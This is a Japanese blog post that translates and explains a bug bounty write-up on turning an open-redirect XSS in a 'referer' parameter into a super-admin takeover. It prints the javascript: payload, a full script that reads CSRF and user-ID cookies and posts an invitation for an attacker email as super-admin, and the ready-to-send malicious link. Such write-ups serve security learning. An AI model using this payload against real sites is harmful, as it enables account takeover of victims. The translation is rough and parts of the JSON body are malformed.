How I leveraged XSS to make Privilege Escalation to be Super Admin! から学ぶ

ソース:

melotover.medium.com

脆弱性XSS、IDOR

 

訳:

XSS を見つける:

偵察を行うときは、通常、 スコープ外の ドメインと関係があるかどうかを確認します ドメインをチェックして、スコープ内の というサブドメインに移動し始めると
そのため、 community.example.com
リダイレクトするログイン ボタンを見つけ。ユーザーは、最初に スコープ内のメインドメインにログインし、次にこのサブドメインにリダイレクトして、ブラウザでリンクを確認しました。

 

インスコープに関連するパラメータか何かがあるかどうかを確認して

 

このURLを見つけました


https://app.example.com/path/to/authenticate?referer=https%3A%2F%2Fcommunity. example.com%2F

 

リファラと呼ばれるパラメータができました、URL の値を持つ。
そこで、いつものように、次の 2 つのことを実行しようとしました。

 

  1. SSRF を悪用しようとしましたが、ローカルホストにリダイレクトされ、いくつかの SSRF ペイロードで試しましたが、結果はありませんでした。
  2. Open Redirect を探してみて、それがうまく機能した場合は、それを Reflected XSS に活用できるかどうかを通常チェックします。そして、この方法でうまくいき。

リファラパラメータには検証がないため、 JavaScript スキーマとその後にJavaScriptコードを追加すると、正常に動作します

 

https://app.example.com/path/to/authenticate?referer=javascript:alert(1);//

 

 

現在は深刻度 P3 の脆弱性がありますが、XSS がアプリケーションのメイン ドメインに影響を与えることがわかったとき、私は通常、深刻度を上げて、より多くのポイント、お金、知識を獲得し、何か新しいことを学ぶために検索できるように、さらなる悪用を探し。

 

可能な機能を確認してください:

これで、アプリケーション全体の非常に機密で信頼できるサブドメインJavaScript を実行できるようになったので、アプリケーション内のすべての機能をチェックして、さらにノイズを発生できるかどうかを確認してみて。

 

そして、私が見つけたのは次のとおりです。

  1. ユーザーに現在のパスワードを尋ねずにユーザーの電子メール 機能を変更できるのは素晴らしいことですよね?!
    はい、ただし、ユーザーは電子メールに送信される確認リンクにアクセスする必要があります。 、、、悪用できる可能性はあると思いますが、PoC はより複雑になるため、最後の選択にしましょう。
  2. できる機能 招待を送信 任意のユーザーに制限付き特権ユーザーと同じアカウントに追加するためのと、スーパー管理者 特権ユーザーのオプション! 、、、いいえ! やりましょう!

リクエストの確認:

特権ユーザーの追加リクエストを確認したところ スーパー管理者 重要な点に注意する必要があることがわかりました。 3 つの 、リクエストに含まれるべきもの。

 

 

リクエストには以下が含まれている必要があります:

  • GET パラメータ PID 現在のユーザー !
  • ヘッダーがあります X-Example-CSRF を持つ CSRF
  • リクエストの本文は、 形式 JSON 含む 電子メール適切なロールを持つ招待状の送信先となる です。

したがって、私たちのエクスプロイトは、電子メールを追加する投稿リクエストを送信するフォームを作成するようなものでなければなりません。
このリクエストには、私たちが持っていない被害者ユーザーの PID 番号と CSRF 値が含まれていますが、やはり私たちはそれを持っていません。

そして、ここでの主な問題は、リクエストが JSON 形式であり、HTML フォームではそれを行うことができないことです。
ヘッダーを追加することもできず。

XMLHttpRequest 本文を または XHR リクエストは 含むリクエストを送信し JSON ヘッダーを 追加するのに役立ち。
しかし、まだ不足している情報があるため、さらに掘り下げる必要があり。

リクエストをもう一度詳しく調べたところ、Cookie パラメータには Pid 番号、USER_IDパラメータ内の、example-csrf Cookie パラメータ内のCSRF 値など、非常に役立つ情報が含まれていることがわかり。

 

これで、必要なものがすべて揃ったので、プロセス全体を行う簡単な JavaScript コードを書いてみて。

 

JavaScript ペイロード:

 
var email = "ATTACKER_EMAIl";
// Set the attacker email that we will receive the invitation to it.
var csrf= document.cookie.split('; ').find(row => row.startsWith('example-csrf')).split('=')[1];
// Getting the csrf value from [example-csrf] cookie parameter and store it in the csrf variable.
var pid= document.cookie.split('; ').find(row => row.startsWith('USER_ID')).split('=')[1];
// Getting the pid value from [USER_ID] cookie parameter and store it in the pid variable.
// Initiate the XHR POST request that holds the data we collect!
var http=new XMLHttpRequest();
http.open('POST','https://api.example.com/app/v1/users/add/?Pid='+pid+'&clienttimeout=14000&app=users&version=1.0', true);
http.withCredentials=true;
// To send the victim cookies with the request!
http.setRequestHeader('X-example-CSRF',csrf);
http.setRequestHeader('Content-type','application/json');
// Setting the required headers!

http.send('{"users":[{"email":"'+email+'" ,"emailSent":true,"firstName":"","lastName":"","roleNames":,"jita":false,"expiresAt":null,"primaryTeamId":-1,"secondaryTeamIds":,"partner":false,"pending":false,"existingInexample":false,"hasTwoFactorBackupCodes":false,"hasTwoFactorConfigured":false,"userAssetsCount":null,"scim":false}],"roleNames":["super-admin"],"teamId":null,"secondaryTeamIds":[],"sendWelcomeEmail":true,"forceWelcomeEmail":true}');

 

  1. メールアドレスの設定: 攻撃者のメールアドレス(ATTACKER_EMAIl)がemail変数にセットされています。このメールアドレスに招待や通知が送られる可能性があります。

  2. CSRFトークンの取得: ブラウザのクッキーからexample-csrfという名前のクッキーを検索し、その値(CSRFトークン)をcsrf変数に保存しています。

  3. ユーザIDの取得: ブラウザのクッキーからUSER_IDという名前のクッキーを検索し、その値(ユーザID)をpid変数に保存しています。

  4. XHRリクエストの初期化: XMLHttpRequestオブジェクトを使用して、APIエンドポイントに対するPOSTリクエストを初期化しています。

  5. クッキーの送信: withCredentials=trueによって、このリクエストにユーザのクッキーが含まれるようにしています。

  6. ヘッダの設定: 必要なHTTPヘッダをリクエストに追加しています。特にX-example-CSRFヘッダには、前に取得したCSRFトークンがセットされています。

  7. リクエストの送信: 最後に、攻撃者のメールアドレスとその他の情報を含むJSON形式のデータをAPIエンドポイントにPOSTリクエストとして送信しています。このリクエストは、攻撃者のメールアドレスのユーザをシステムに追加しようとするもので、そのユーザにはsuper-adminという役割が割り当てられるようです。

 

参照:

https://gist.github.com/Melotover/642d797ad890780b1aced8bde0acbffc

 

これで、悪用されるのは、このリンクを被害者に送信することだけになり。

 

https://app.example.com/path/to/authenticate?referer=javascRipt%3avar+email%3d+"attacher%40email.com"%3bvar+csrf%3d+document.cookie.split('%3b+').find(row+%3d>+row.startsWith('example-csrf')).split('%3d')[1]%3bvar+pid%3d+document.cookie.split('%3b+').find(row+%3d>+row.startsWith('USER_ID')).split('%3d')[1]%3bvar+http%3dnew+XMLHttpRequest()%3bhttp.open('POST','https%3a//api.example.com/app/v1/users/add/%3fPid%3d'%2bpid%2b'%26clienttimeout=14000%26app=users%26version=1.0',+true)%3bhttp.withCredentials%3dtrue%3bhttp.setRequestHeader('X-example-CSRF',csrf)%3bhttp.setRequestHeader('Content-type','application/json')%3bhttp.send('{"users"%3a[{"email"%3a"'%2bemail%2b'","emailSent"%3atrue,"firstName"%3a"","lastName"%3a"","roleNames"%3a,"jita"%3afalse,"expiresAt"%3anull,"primaryTeamId"%3a-1,"secondaryTeamIds"%3a,"partner"%3afalse,"pending"%3afalse,"existingInexample"%3afalse,"hasTwoFactorBackupCodes"%3afalse,"hasTwoFactorConfigured"%3afalse,"userAssetsCount"%3anull,"scim"%3afalse}],"roleNames"%3a["super-admin"],"teamId"%3anull,"secondaryTeamIds"%3a,"sendWelcomeEmail"%3atrue,"forceWelcomeEmail"%3atrue}')%3b

 

↓ 

 

https://app.example.com/path/to/authenticate?referer=javascRipt:var+email=+"attacher@email.com";var+csrf=+document.cookie.split(';+').find(row =>+row.startsWith('example-csrf')).split('=')[1];var+pid=+document.cookie.split(';+').find(row =>+row.startsWith('USER_ID')).split('=')[1];var+http=new+XMLHttpRequest();http.open('POST','https://api.example.com/app/v1/users/add/?Pid='+pid+'&clienttimeout=14000&app=users&version=1.0',+true);http.withCredentials=true;http.setRequestHeader('X-example-CSRF',csrf);http.setRequestHeader('Content-type','application/json');http.send('{"users":[{"email":"'+email+'","emailSent":true,"firstName":"","lastName":"","roleNames":,"jita":false,"expiresAt":null,"primaryTeamId":-1,"secondaryTeamIds":,"partner":false,"pending":false,"existingInexample":false,"hasTwoFactorBackupCodes":false,"hasTwoFactorConfigured":false,"userAssetsCount":null,"scim":false}],"roleNames":["super-admin"],"teamId":null,"secondaryTeamIds":,"sendWelcomeEmail":true,"forceWelcomeEmail":true}');

 

ユーザーがリンクにアクセスすると、JavaScript コードが実行され、私たちの電子メールに招待が送信され、私たちがスーパー管理者特権ユーザーになります、被害者のアカウントの。

 

ほなほな。